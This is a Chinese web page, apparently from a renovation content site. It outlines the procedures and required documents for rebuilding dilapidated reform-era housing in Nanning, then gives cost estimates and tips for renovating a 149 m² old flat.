危旧房改造项目说明、材料介绍

危旧房的改造不仅仅会牵扯到施工操作方面的安全问题，而且还会涉及到利益的划分和流程的遵循，所以有这个方面意向、但是缺乏操作经验的朋友，最好可以结合下文所述的危旧房改造步骤、解释以及所需要准备的申请材料入手分析，或者也可以根据当地的政策经验确定最佳的方案，避免因为合同不到位、或者是缺乏常识导致的损失和麻烦。一、危旧房改造项目1、建设单位成立相应机构成立危旧房改住房建设的机构，明确组织机构、工作职责、工作制度等相关规定。2、危旧房改住房改造的相关证明材料危旧房改住房的5种情形，比如法定部门提供的住房不符合建筑抗震设防要求的鉴定书。有鉴定资质的社会合法机构3、取得改造的意见书取得全体还建户(含上市交易过的房改住房)产权人同意改造的意见书。4、确定项目改造方案项目改造方案。其内容包括：危旧房改住房改造的必要性，单位职工住房状况，危旧房改住房状况，改造资金来源，补偿与安置办法，计划新建住房方案和供应对象等。5、整理还建户档案资料统计住房改造职工名单及住房状况表。6、申请土地分摊或分割单位向市国土局提出拟进行危旧房改住房改造项目用地的书面申请，对宗地进行教育用地和教职工住宅用地分摊或分割。南宁市国土局7、国有资产处置建设单位把危旧房改住房改造项目土地调整涉及国有资产处置按财政{2009}22号文要求向主管厅局提出申请，主管厅局行文把初审意见报财政厅国资处复审，由财政厅审批。水利厅、区财政厅8、危旧房改住房改造项目土地调整行文向南宁市规划局或南宁市土地委员会提出危旧房改住房改造项目土地调整方案。南宁市规划局或南宁市土地委员会9、申请规划设计条件将新的总平方案，水利厅、教育厅、财政厅的审查意见，国土局的土地分摊方案等材料报送市规划局进行规划设计条件、总平方案审查。南宁市规划局10、收集还建户相关信息资料收集，整理还建户的房产证、身份证(夫妻双方)复印件，建立每户档案。2、材料(一)申请书。(二)危旧房改住房改造的相关证明材料。(三)国有住宅土地使用权证书，验原件交复印件。(四)原住户《房屋产权证》复印件或者房屋产权证明材料。(五)原住宅区总平面图。(六)规划主管部门核准的新建住房建设项目的规划设计条件。(七)全体房改住房(含上市交易过的房改住房)产权人同意改造的意见书，危旧公有住房改造要提供主管部门和国有资产监督管理机构或财政部门同意改造的意见书。(八)项目改造方案。危旧房改造的意义有很多，不仅仅在于安全方面的保障，还在于经济利益方面的考虑，并且我们发现危旧房改造牵扯到的流程以及需要注意的事项、应该准备的材料也不少，比如上文为大家举例的危旧房改造项目就包括了前期、中期以及后期的说明和部署，除此之外还有基于有意向申请的朋友给出的材料准备条款，比如原住宅区总平面图、项目改造方案等等。

改造旧房149平米装修报价 旧房改造要注意什么

想必每个人都知道装修一座旧房子比较困难，但是如果你愿意尝试一下，你也可以把这座旧房子变成你喜欢新房子。改造旧房也许只有真正经历过它的人才知道它，并且感觉很有成就感。如果家是149平方米的老房子，你觉得怎么装饰会比较好看呢。今天我将和你们分享一下改造旧房149平米装修报价和注意事项。改造旧房149平米装修报价149平方米的旧房装修一般做简单装修，20万左右就足够了，如果你注重豪华，一般是30万左右，因为旧房装修费用比新房稍微高一点，所以价格会比较高，因为老房子已经装修多年了会有一些遗留问题。例如，前房有一些瑕疵，阳台上的没有晾衣服的地方。可以在阳台安装一个晾衣架，方便以后晾晒衣物。以前的厕所可能还是蹲着的，改造后成了一个坐便，墙壁和地板也贴上了现代风格的瓷转。旧房装修时的拆除工作主要是指门窗拆除、墙地砖与地板拆除、非承重墙拆除、水电路及暖气拆除。需要注意的是：旧房改造拆除工程千万不能找不懂专业装修知识的杂工来处理，否则业主会给自己带来更多的麻烦。拆除工作在改造旧房149平米装修报价中价格也是不少的，也要考虑哪些能留下哪些不能留下。如果你想要高档装修豪华，需要1800-1900/平方米的装修。如果是流行的装修，需要用1000-1100元/平方米。这些就是比较豪华的装修了。旧房改造时，必须对水电进行改造。他们的水电线路很旧。根本不能装载现代家用电器，而且经常出错。因此，在整修时，必须更换旧线路。二手房的排水设计一般不太合理。业主可以根据自己的需要进行装修。总而言之，旧房的装修需要选择好装修风格，认真核算价格。旧的家具换不换新的也需要大家好好考虑。以上是改造旧房149平米装修报价希望对大家有所帮助。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();